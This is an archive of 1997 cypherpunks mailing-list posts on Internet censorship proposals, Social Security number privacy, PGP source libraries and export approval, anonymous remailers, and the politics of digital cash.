From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: glendale@clear.net.nz
Date: Thu, 29 May 1997 17:12:59 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <v03007800afb2f4290cc2@[203.97.50.157]>
MIME-Version: 1.0
Content-Type: text/plain



__________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
glendale@clear.net.nz           |"`-/"|_.-'"``-._
	                         o o `; -._    )-;-,_`)
                                = v_,=  _  )`-.\  ``-'
Lamb Laidir an uachdar         _.- _..-_/ / ((.'
                          O  ((,.-'   ((,/


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQEdAzOKldMAAAEIAO64pUwrhsn5ggVG3Y+kORuGoOVFgBOKJB8dP0FRIc31cQIV
JHzHh1fYMnkSPPrjofLwMZgJeMiEBeZrtR5tz4Z43vQgmprF67Tq0SL5ecBnHtf7
3xaTl4hTy1CZEAFyrGOnSn3NYdopc+gm55UXgMwlTDckKJCthwLkxlOgc4p1Ry1d
rgLBHPSCz+SXxwfwxiHcxscjRvECmhPrw7eqq9RhwEk/PIQk/8RVBYEM3E/t8vG2
ObpgDWTvJRBqZjEtpAHjCPBbEY+thbwynSVtN252Zp9Fiy4/DFkc3/NXTa81nrwY
6FoqAjIdUuqfIl65p/NvM8tSoCCt65/dX0UlWOkAhAgAAAAAAAAAAAAAAAAAAAAF
tCREYWxlIE8nQnJpZW4gPGdsZW5kYWxlQGNsZWFyLm5ldC5uej4=
=uqqS
-----END PGP PUBLIC KEY BLOCK-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 30 May 1997 09:49:14 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705300124.VAA20205@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


           Last Friday, in a town hall
           meeting on education in Clarksburg, West
           Virginia, President Clinton made some news on
           the technology front. 

           Answering a question from a parent about how
           to keep children safe on the Net, the president
           talked about the Communications Decency Act's
           travails in federal court. Then he said "we're
           working on" a technological fix, a V-chip for PCs
           that could protect children from harm. Later,
           reporters pressed White House aides on
           whether there was a new V-chip initiative. The
           new chip is out there, they said, somewhere
           "within the industry." 

           From White House transcripts of the event and
           later briefings: 

           Jim Eschenmann: Mr. President, my name is
           Jim Eschenmann. I'm a proud parent of a
           4-year-old preschooler. Your administration, as
           well as the local board of education, has placed
           a large emphasis on connecting every classroom
           to the Internet. What additional measures can
           we take to protect our school students from the
           harmful areas of the Internet while guaranteeing
           full access to post-secondary students and to
           protect the freedom of speech? 

           President Clinton: Well, you know, I signed a
           bill - when I signed the telecommunications bill ...
           I had a provision in there to try to protect against
           young people being exposed to some of the
           harmful things that are on the Internet. Not just
           pornography but, as I'm sure a lot of you know
           because of the events in the news in the last
           couple of years, there are even instructions on
           how to build bombs and things like that. There
           are lot of things on there that we wouldn't want
           our children to see. 

           That provision has been thrown out by a court
           and is still in the courts, I think. So it may be that
           what we have to do is try to develop something
           like the equivalent of what we're developing for
           you for television, like the V-chip, where it's put
           in the hands of the parents or the educators.
           And then if it were in the hands of the educators
           the school board could approve certain
           guidelines. 

           It's technically more difficult with the Internet. As
           you know, there are hundreds of new services
           being added to the Internet every week. It's
           growing at an explosive capacity and we're in
           the process actually of trying to develop an
           Internet II. But I think that is the answer.
           Something like the V-chip for televisions. And
           we're working on it. I think it's a serious potential
           problem myself. 

           But let me say it would be a serious potential
           problem if they were not in the schools. I think
           putting them in the schools, because the kids
           are normally under supervision, you have a far
           less likelihood that the Internet will be abused or
           that the children will be exposed to something
           they shouldn't see during the school hours, in all
           likelihood, than at home. But I do think you need
           guidelines in both places and we're doing our
           best to try to figure out if there's some
           technological fix we can give you on it. 

           Briefing by spokeswoman Ann Lewis (22 May): 

           Q.: Three things that Clinton said - suggesting
           V-chips for the Internet, endorsing year-round
           schooling, and speaking favorably of high school
           competency tests before graduation. Are any of
           those new, or are those things he has said
           before? 

           Ann Lewis: From my understanding, looking at
           the conversations back and forth on the V-chip
           for the Internet, as you know this is a principle
           the president has talked about for a long time,
           which is giving parents the tools they need, and
           it's the principle he referred to when he
           supported the - came out in support of the
           V-chip. He thinks it continues to be an issue. 

           Second, if you go back and look at his speech
           on Net Day, when he gave a radio address and
           we did some talking about the Internet, he
           announced that he had asked the Department of
           Education and Secretary [Richard] Riley to come
           up with a parents' guide to the Internet,
           recognizing that it is a wonderful resource but
           that many families also feel they could use some
           help in ensuring that their children get the most
           out of the Internet. 

           And, third, it's our understanding, and we just
           checked this with people at the White House
           who know much more about technology than all
           of us put together, that there is in fact
           technology being developed that would serve as
           the equivalent of a V-chip for the Internet, and
           we think that's what the president referred to. 

           Q.: Clinton has talked before about giving
           parents ways to protect their children on the
           Internet, but has he ever before suggested the
           idea of a V-chip for the Internet? 

           Lewis: Not that we know of, but we know - as is
           clear, I think, from his wording, he is aware that
           the technology has been developing. 

           Q.: But has he talked about this before? 

           Lewis: We don't think so. We were going to try
           to do a huge Nexis search; that's going to take a
           long time. We don't remember that
           conversation.... 

           Q.: You said the technology is being developed
           - who is developing it? 

           Lewis: I can't, but we can get you more
           information. It's my understanding it's being
           developed within the industry. 

           Q.: That's like the stuff like Kidsitter and all the
           stuff that's already available on the Internet.
           There are a lot of sites. 

           Lewis: There are a lot of sort of monitors you
           can put on that. We think this may be a little
           more advanced, and we're trying to get more
           information. 

           White House Press Secretary Mike McCurry
           and spokesman Barry Toiv (23 May):
           Q.: Mike, yesterday the president endorsed the
           idea of a V-chip for the Internet. Was that the
           first time he did that, and how does the White
           House plan to proceed? 

           Mike McCurry: Did anyone work on that
           yesterday? That was - there is some, I think,
           R&D work, technical work that's being done to
           develop new software. I'm not sure where within
           the government they're doing it.... 

           Q.: Mike, I'm still trying to figure out, was
           yesterday the first time the president endorsed a
           V-chip for the Internet? 

           McCurry: Did you do any yesterday on the
           V-chip question? Barry [Toiv] may have handled
           this up in West Virginia yesterday. 

           Barry Toiv: Well, I'm not sure I have more than
           you got yesterday from Ann Lewis. The
           president has not specifically mentioned the
           V-chip, but this is work that we've been doing
           because he's been concerned, obviously, about
           ways that parents can help - can protect their
           kids with regard to stuff that comes through on
           the Internet. 

           Apparently, it's our understanding that
           technology does exist within the industry. It's
           being developed by the industry. And so I think
           the president was referring to that yesterday. 

           Q.: Is there any procedure that - I mean, is it
           something that - is there any kind of official
           "endorsement" you expect? 

           Toiv: Well, right now - not right at this moment,
           but it's something we're looking at. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 30 May 1997 04:32:32 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199705292001.WAA05250@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 28 May 1997, Tim May wrote:

> At 5:02 PM -0400 5/27/97, Mark M. wrote:
> 
> >I don't know the reason, but the IRS tax code requires that all passport
> >applicants supply their SSNs to the IRS.  The penalty for failing to
> >notify is $500.  I recently encountered this situation and just left
> 
> Good for you, seriously, but you may not yet have heard the last of this.
> As with "frivolous returns" (such as writing comments on the tax forms

They can always harrass.  Supposedly the State Department reports to the
IRS anyone who does not give this info, but the IRS seems not to follow
up, an the only thing they could do under the law is impose the $500
penalty which would probably not survive a court challenge (I forget the
particular reasoning, but if they challenged and lost, no one would have
any fear not giving their SSNs out, similarly to why they don't charge
every cypherpunk under export laws - fear of grey is more useful than a
clear line that will be more liberal than they want).  When I applied for
a passport (specifically because it is a government recognized ID that
need not contain your social security number), I didn't write the IRS at
all (you have no duty to notify them), and IF contacted, I would simply
say "Who do I make the $500 check out to, and where do I send it, and who
should my lawyer contact to challenge it".  I have never been contacted. 

> The woman behind the desk didn't seem interested in my point and just said
> that without a valid SS number, no registration tags would be issued. It
> was then my choice to drive without tags (and get a ticket anytime a cop
> noticed this and decided to act on it) or seek some kind of legal
> restraining order (???, but probably $$$).

IANAL, but: There is another statute which says that any time a government
agency (it does not apply to corporations) asks for your SS# they have to
state the reason and authority they have to ask for it (something like a
state statute or order - I will look up the info and post here when I have
time).  Usually the behind-the-counter culture doesn't know about this. 
You can also give a religous objection. You can ask for the name of the
person and their exact title then ask nicely to speak with a manager
familar with the law or procedure, and that it might be illegal to ask for
that information without citing the authority (with the above law in
hand), etc.  Since they have to have alternate ID numbers unless they only
give licenses out to US citizens and not the Amish or others who have
religous objections - you can ask for one of these alternate numbers. You
can also be agreeable and say, OK, if you want to see my SSN so that you
can confirm that I am me, I will show it to you, but I don't want that
specific number on my license, and you can pick any number that is
convienient to you, or I can supply my standard "alternate-ID" number.

My state uses a number that is a wierd checksum of my name and birthdate
and who knows what, so it doesn't apply to my drivers license.

I had my SSN used (they didn't tell me that is what it was for, and this
was before I was as aware of the privacy matters) on a professional
license, and they did things like disclose it to people who bought their
mailing list and it appeared in some mailings.  I only had to call the
state office, explain about the problems of identity fraud, and had a new
license with a new number (which I use as my alt-id number)  within a week
(and they said they would not include SSNs with their mailing list).  Some
people are reasonable.

Generally they try to find the easiest path.  When it is clear that you
won't go away quietly, and that you are going to be more hassle than it is
worth (and that you aren't trying to evade any requirement, e.g. "You
agree that I have proper ID, and qualify in every other way, and the only
reason you won't is because I won't tell you my SSN even though you can't
cite the authority you have ...") you can usually get them to either
relent or say something slanderous in public.  A silly but necessary game.

Now if I can mail in a form, I usually use the alt-id number and write it
in place of the SSN with a note right next to it saying it is not my SSN
and that if you really want it you have to write me back and explain why
they want it.  (If they do, I send them a NDA with something to the effect
that if I find it has leaked anywhere they have to cover all costs
associated with correcting any record, etc.).  Given that they are usually
desparate to sign me up for whatever it is, and the mail is a hassle for
them, they just enter the alt-id number.  I keep a copy of the original
form with the Not-my-SSN statement in case someone wants to accuse me of
any kind of fraud.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 30 May 1997 12:33:12 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymizer upgrades
In-Reply-To: <199705292215.PAA11815@sirius.infonex.com>
Message-ID: <LH1H8D40w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


lcottrell@infonex.com (Lance Cottrell) writes:

> Finally, while it has been true for some time, it is not widely known that
> the Anonymizer is owned and operated by Infonex. We took over management of
> the Anonymizer several months ago. For those not familiar with Infonex, we
> have been active in the privacy business for some time. We host several
> anonymous remailers, we offer anonymous shell accounts through our
> subsidiary Cyberpass (www.cyberpass.net), and I personally developed the
> Mixmaster anonymous remailer system.
>
>        Lance Cottrell

Just what is your affiliation with C2Net, boy?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 30 May 1997 15:54:59 +0800
To: cypherpunks@toad.com
Subject: Libraries!  Partial Solution to PGP Windows Wars and Source Code
Message-ID: <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


[There's been a major flame war on pgp-users about the lack of Win3.1 
support, and more than a few cypherpunks have asked about source.]

PGP has always had a policy of making the source code available;
it was one of the big things that let us trust it.
PGP has also been available under a variety of platforms,
whether written/ported by Phil and associates, or ported by others.

Recently, PGP Inc. has come out with several major systems, including
- PGP 3.0 and 3.0.1 pre-alpha code, including libraries,
	which have been published in book form and on the net.
	For portability and compatibility, the most important things
	are the algorithms and file formats used.
- PGP 5.0 with fancy user interface for Win32 only.

I'm assuming that PGP 5.0 is written using the PGP 3.0.1 libraries* -
if they've got any sense, they've used the same libraries with at
most some bug fixes and/or simple new features that they can put out as 
a point release, and limited the Win32-related stuff to GUIs,
interfaces to other Windows programs, and similar non-portable stuff,
some of which can be bullied into working on DOS or Win16
and some of which is too much trouble to crowbar in.
If so, then *you* can do your own GUI work on Win16, MacOS 6, and OS/360,
and be sure of interoperability with Fancy New PGP.
In particular, the user-friendliness front-end programs like pgpclip 
and Private Idaho can use the libraries instead of having to 
pop up DOS subsystems to run.  (PI was very nice with ViaCrypt 2.7.1,
which let everything run as communicating Windows programs.)

Using the libraries also helps us trust the security -
it doesn't mean the GUIware doesn't also send a copy of your passphrase
to aldrich@nsavax.us, but it does let you build interoperable code you
can trust, and it makes it easier to verify that at least the
basic crypto routines are solid.

[* Perhaps I'm naive, and I must confess to not finishing all 
4 volumes of code, but I'd _hope_ they did the right thing...]






#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 30 May 1997 16:23:44 +0800
To: Dave Del Torto <ddt@pgp.com>
Subject: Re: Newsflash: PGP approved for export of strong crypto
In-Reply-To: <v04000223afb3866a7a2f@[205.180.136.26]>
Message-ID: <3.0.1.32.19970530010005.007679f0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Subject: Re: Newsflash: PGP approved for export of strong crypto
To: ddt@pgp.com, cypherpunks@toad.com

Hi, Dave!   Thanks for forwarding the press release to various lists.
(Could you also forward this along to Mike Nelson?  The press release
didn't include his email :-)  I was interested in a couple of issues.

1) Cool - especially doing it without GAK!  This kind of thing is a 
major wedge in the export control regime, even if it is mainly for the
big players first.

2) Are there explicit terms a company has to agree to to be
allowed to export PGP to its non-US subs/branches, or is it
just negotiation with the State Department?  Does it take excessive
expensive legal paperwork, or is it something just about anybody could do?
Could Bill Stewart Consulting (i.e. just me) meet the requirements?

After a company is approved, are there special record-keeping requirements,
or could I just email or registered-US-Snail or DHL-mail a copy to 
my branch in Japan or the UK?  (One of the interesting cases for me is
subsidiaries that are joint ventures with other companies such as
non-government-owned foreign telcos.)

3) Your press release said:
>   In order to provide only the strongest encryption software, 
>   Pretty Good Privacy publishes all of its encryption source code 
>   and algorithms for extensive peer review and public scrutiny. 
Does this mean that the non-encryption parts of your code probably
won't be reviewed, at least in public?  


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM46IIfthU5e7emAFAQEi4wIAnnS3BM1lZuw179QNq7unrr9IIBAEUI7e
ww46TBni27NUL9F5vN54L2HYTlg15Je3hfMTPKcSQn6abAvT12e+Vg==
=huGZ
-----END PGP SIGNATURE-----

BTW, the 5.0 plug-in to Eudora is nice!  I'm having a little trouble guessing
when it's going to include my signature block and when it's not,
but so far I like it, and the Win95 PGPtray widget was also convenient.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Fri, 30 May 1997 21:09:58 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Anonymizer upgrades
In-Reply-To: <LH1H8D40w165w@bwalk.dm.com>
Message-ID: <7036.864996545@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain


|Just what is your affiliation with C2Net, boy?

Sonny, go learn some manners around your betters.

--
Academic politics is the most vicious and bitter form of politics,
because the stakes are so low.
		-- Wallace Sayre





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 30 May 1997 19:24:57 +0800
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: Libraries!  Partial Solution to PGP Windows Wars and Source  Code
In-Reply-To: <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970530070318.035fc7ac@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 12:33 AM 5/30/97 -0700, Bill Stewart wrote:

>- PGP 5.0 with fancy user interface for Win32 only.

Note that 4.5 is Win/32 only but 5.0 is also available for (the latest) 
Macintosh OS.  [So "latest" that Tim May can't run it.]  

DCF

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM46z9YVO4r4sgSPhAQGpYgQAhim1CSTGzPu1y9A2f5fgITNLa3g1uZGh
nwxemQJ08cwQQJYMjZfXIbXZO9QrhIByryT5d94fzvxo9vr9K8OuukKSf6drVX+b
pHPI0wsrV4zv7tTt1b2Gsf+P8h0haY+tTb/tu7F+hCGvvXO1B2bpYM1slTdWuznh
5ZK4Xyud/pk=
=E6ZL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 30 May 1997 23:29:17 +0800
To: cypherpunks@algebra.com
Subject: Comments on the Macintosh
In-Reply-To: <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>
Message-ID: <v03102800afb499ca3f5b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:03 AM -0700 5/30/97, frissell@panix.com wrote:

>At 12:33 AM 5/30/97 -0700, Bill Stewart wrote:
>
>>- PGP 5.0 with fancy user interface for Win32 only.
>
>Note that 4.5 is Win/32 only but 5.0 is also available for (the latest)
>Macintosh OS.  [So "latest" that Tim May can't run it.]
                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Newsflash: With the prodding and help of Vinnie M., I took a day last week
and installed the latest versions of all of my major applications.  I
successfully ran the installation on my bootleg copy of PGP 5.0 (obtained
from my friendly spy), but have not yet spent time integrating it with
Eudora Pro 3.1, which I understand is possible.

(Please: No helpful suggestions. All of the information I need to do this
is apparently contained in the docs...I just haven taken the time off from
doing other things to do this.)

For those who know and care: System 7.5.3, MT Newwatcher 2.3.1, Eudora Pro
3.1, Netscape Navigator Gold 3.01, and various UUdecoders, helper apps, etc.

To again paraphrase my .sig: "There's something wrong when it takes a day
or more to upgrade apps to be compatible and there's no visible
productivity improvement."

Actually, I used to follow the Macintosh technical stuff more closely. I
read "MacWorld" and "MacUser" cover to cover every month, I sometimes read
"Mac Technical Journal" and other technical sources, I messed around with
ResEdit, had a couple of volumes of "Inside Macintosh," had C and C++
avialable, and all that stuff. Upgrading from one version of a system to
another was not too stressful.

However, in the last several years, probably echoing the path many of you
have taken, my focus has shifted to a more "platform-agnostic" path,
centered on the Net and Web and on writing messages and participating in
Net virtual communities (like Cypherpunks).  I just want my main Internet
apps to keep working as they have, and don't much care about Apple's stuff
like "CyberDog" and PowerQuickToolsPro, or whatever.

Sadly, the Mac OS is now very bloated, and I no longer have the time or
interest to read the details and upgrade the many apps to the minor rev
levels needed to ensure compatibility. (So sue me.) Once a "constellation"
of apps is running smoothly, I am reluctant to change any of them unless
the benefits are very clear.

(And I could see no significant changes in going from System 7.1.3 to
7.5.3...the Mac OS is of course still missing basic OS features such as
multitasking and memory protection.)

Vinnie M. tells me I should do the upgrade to System 7.6...I think I'll
pass on this for now.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 30 May 1997 21:37:55 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Libraries!  Partial Solution to PGP Windows Wars and Source Code
In-Reply-To: <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>
Message-ID: <199705301317.IAA02117@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>, on 05/30/97 
   at 12:33 AM, Bill Stewart <stewarts@ix.netcom.com> said:

>- PGP 3.0 and 3.0.1 pre-alpha code, including libraries,
>	which have been published in book form and on the net.
>	For portability and compatibility, the most important things
>	are the algorithms and file formats used.

Hi Bill,

Could you point me to a location where 3.0 code is available on the net? I
would be very intrested in this. Also have you heard any word on the
release of source code for PGP Phone? I know that the MIT download site
mentioned that this would be made available but I have yet to see anything
(not intrested in the GUI stuff but would like to see the crytpo & data
compression algorithims).

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------
 
Tag-O-Matic: Turn your 486 into a Gameboy: Type WIN at C:\>

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM47UU49Co1n+aLhhAQGxegQArqfIYFL975P4obAnLhJHlKfD4LETVQaR
7uToPOeB85akzKV9Q5Ut+E6sjzrnKFlujBrkRt7jZYXd9mPXty5wSVioxoNDuUQM
qrtRvCvjlW0R/ikoVMAW6NVU+k0JohmGR1l6uRI0ZBdRD347Ll4yQrwiAGe6165B
O0VlxRUwgUY=
=28u/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 30 May 1997 23:59:52 +0800
To: cypherpunks@toad.com
Subject: Clinton on privacy and the Internet
Message-ID: <Pine.GSO.3.95.970530083755.22213G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 29 May 1997 22:04:03 -0500
From: Andrew Shapiro <ashapiro@interport.net>
To: telstar@wired.com, declan@well.com
Subject: Clinton on privacy

Todd and Declan:

I assume you've both seen this quote about privacy (below) from Clinton's
commencement speech last week.  Declan, you might want to put up on the FC
list -- if you haven't already.

Cheers,
Andrew

***
From: http://www.epic.org/privacy/laws/clinton_speech_5_18_97.html#privacy

              Third, technology should not be used to break down the
              wall of privacy and autonomy free citizens are guaranteed in
a free
              society.  The right to privacy is one of our most cherished
freedoms.
              As society has grown more complex and people have become more
              interconnected in every way, we have had to work even harder to
              respect the privacy, the dignity, the autonomy of each
individual.

                           Today, when marketers can follow every aspect of our
              lives, from the first phone call we make in the morning to
the time
              our security system says we have left the house, to the video
camera
              at the toll booth and the charge slip we have for lunch, we
cannot
              afford to forget this most basic lesson.

                           As the Internet reaches to touch every business
and every
              household and we face the frightening prospect that private
              information -- even medical records -- could be made instantly
              available to the world, we must develop new protections for
privacy in
              the face of new technological reality.  (Applause.)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 30 May 1997 22:25:26 +0800
To: cypherpunks@toad.com
Subject: Re: relevance to Hayek research?
Message-ID: <v0302098cafb48a428199@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Mon, 19 May 1997 11:21:28 -0400
To: Gregransom@aol.com
From: Robert Hettinga <rah@shipwright.com>
Subject: Re: relevance to Hayek research?
Cc: austrianecon@agoric.com, VPostrel@aol.com
Bcc:
X-Attachments:

Greg Ransom just set my subscription to Hayek-L to "review" because of the
DCSB announcement I sent both there and to AustrianEcon. Since I figure
that this posting probably won't see the light of day on Hayek-L, I'll just
send it here to AustrianEcon instead. :-). Of course, I'm not complaining,
really. Greg can do anything he wants with Hayek-L. I mean, he owns it; the
internet being alloidial, and all. But, I thought I'd clear the air here a
little bit about why I thought the June DCSB meeting would be useful to
people both on AustrianEcon, and, even :-), Hayek-L.

At 7:29 pm -0400 on 5/17/97, Gregransom@aol.com wrote:

>  Can you motivate this posting to the Hayek-L list for
> me?

Wow. I feel like a method actor or something. Say hello to Mr. Stanislawski
for me, would you, Greg?

> It is important that all posting to the
> Hayek-L list be relevant to Hayek and his work, appropriate for the research
> community, and not overly promotional or commercial in nature, nor in the
> vein of advertising.

Yeah. Anything that smacks the least bit of capitalism should be strictly
avoided in such an academic setting. Hey, even *I* understand that one.
;-). If it's any consolation, DCSB really *is* just a bunch of people who
get together to have lunch on first Tuesday of the month. It's not like I'm
leveraging the old Harvard Club membership to create a massive personal
fortune, or something. :-).


I do confess that I sent the announcement to both place, and mostly on
impulse, because I thought people in the Austrian economics trade would
want to hear about a relatively unique economic phenomenon on the net,
particularly as it reveals interesting things about how the net's
decreasing the "latency" of money changes, or at least better defines, all
kinds of transaction processes, and, maybe, the underlying economics of
same.


Not only do the type of instantaneous, continuous, digital cash-settled
recursive auctions that Fred Hapgood is going to talk about at the June 3rd
DCSB meeting have the potential to remove any need for copyright law on the
internet, which I'll get to in a moment, but they're the tip of the iceberg
for something waaay bigger.  The technology behind the digital cash these
recursive auctions will eventually use is all by itself a nation-state
killer. In the long run, anyway.

<and now, for a few blatantly commercial messages...>

Since the strongest form of David Chaum's "ecash"
<http://www.digicash.com/> digital bearer certificate transaction
settlement protocol doesn't require book-entries, it doesn't require the
force monopoly of a nation-state to backstop its transaction clearing
process. There's a quote which might be useful here. It's from FC97, the
first conference on Financial Cryptography, which we held in Anguilla this
February and (plug, plug) a conference I had the good fortune think up ;-)
<http://www.offshore.com.ai/fc97>. Doug Barnes, a fellow cypherpunk and now
the Marketing VP for C2Net, a pioneering financial cryptography company in
Berkeley <http://www.c2.net/>, said, during the legal session, "It's a bad
idea when your internet payment protocol, in one of its terminating steps,
says, 'and then you go to jail'".  See my web page,
<http://www.shipwright.com/>, for more details about this kind of stuff if
you're interested. Also, see the debate I had in March with someone from
the American Banking Association about the subject of digital bearer
certificate technology. It's on HotWired's Brain Tennis site,
<http://www.braintennis.com/>. Remember that, due to to the structure of
the debate, he got in the last word, though. :-).

<we now return you to the heresy trial, currently in progress>


Now you can see why the war cry for most of my cypherpunk crypto-anarchist
financial cryptography developer friends is "write software, not laws."
That sounds pretty Hayekian, I'd say.


Last September I was on the law enforcement panel, of all things, at the
Institute, nee Office (go, Newt!), of Technology Assessment's "Symposium on
the Regulation of Digital Cash". This thing was held in a conference room
deep in the bowels of the Capitol Building. Yech. Talk about the lion's
den. Anyway, they had me speaking, dead last in the whole symposium,
immediately after the Justice Department's brand-new, wet-behind-the-ears
and freshly-lobbied-for-by-the-EFF Assistant Attorney General for "computer
crime", whatever that is. And, before him, and more to the point for our
discussion here, spoke the Assistant Director of FinCEN. FinCEN stands for
the Financial Crimes Enforcement Network, a truly amazing government agency
which has the ability to tell anyone with a credit card or checking account
not only what his current bank balance is, but, through perfectly legal
"administrative requests" to his bank, what his, say, total clothing and
grocery expenditures were last year, categorized by store. Couple that with
those wonderfully subpoenable scanner cards at your supermarket, and I
would say that Orwell almost has his revenge with us, eaten very cold
indeed, for being so far behind schedule with '1984'.

Anyway, there I was, at ground zero, in the very belly of the beast, and,
if I do say so myself, I was a wonder to behold. I scared them so bad that
the everyone's eyes actually bugged out. Their jaws really bounced on the
floor a few times in true Tex Avery fashion. Proving, once again, that
cartoon physics really is the only kind of science they allow inside the
Washington Beltway.

I told the assembled unholy host of legislative aides, beltway bandits, and
various other corridor-crawling symbionts to Le Infame Moderne that David
Chaum's blind signature patent created  fully anonymous digital cash
(issued by private free banks, mind you), something they vaguely knew
already and were gathered there to try to stop. But, even more frightening
to statists everywhere, it was quite a simple matter, really, to use the
same cryptographic protocol to create anonymously held digital *bearer*
forms of any negotiable instrument you could care to imagine: bonds,
stocks, futures, or any derivative thereof. I told them Perry Metzger's
joke about "Gold Denominated Burmese Opium Futures". That was good for a
titter or two of nervous laughter...

Remember, of course, that, and increasingly so, most assets are financial,
and thus completely convertable to digital bearer form if the transaction
protocol for them turns out to be significantly cheaper than the book-entry
settlement methods of the status quo. After all, it wasn't too long ago in
financial history that paper bearer certificates were the norm. There's a
lot of cultural memory still there. The word "coupon" as a synonym for bond
interest is a perfect case in point.

Then came the real bombshell. The guy from FinCEN absolutely agreed that if
the transaction costs of digital bearer certificates proved to be an order
of magnitude (or, say, three) lower than book entries, which I claim they
will be (without proof, of course, just yet ;-)),  FinCEN would be pretty
much out of business. The whole "crime" of money laundering would become
the equivalent of a "legislated" value for Pi. An example which, I might
add, proves Avery's Laws of Cartoon Physics, um, reigns, in legislative
bodies the world over, and not just inside the Beltway.

"Actually, it's worse than that, ladies and gentlemen," I said, quoting
myself. "Virtually *all* of the current tax infrastructure is based upon
book-entries and the necessity of audit trails to verify tax compliance:
capital gains, income and sales taxes, even import duties. Those audit
trails are there primarily to prevent non-repudiation in the execution of a
transaction protocol, that is, all the double-entry bookeeping between the
buyer and the seller and the financial intermediary(ies) underwriting the
trade. Those audit trails are *not* there to enforce taxes, believe it or
not." They didn't get the point, so I drove it home. I said, "Without the
requirement to prevent non-repudiation (and, I ask you, when was the last
time you had a cash transaction fail to clear?), the marginal cost of tax
compliance will become unsustainable over time. Uncle, and his relations
elsewhere, are all going to have to figure out something else to tax, in
other words. Now, *what*, exactly, do you need all that money for?"

I had all the right people standing up and yelling at me at question time,
so I knew I was on to something. :-).


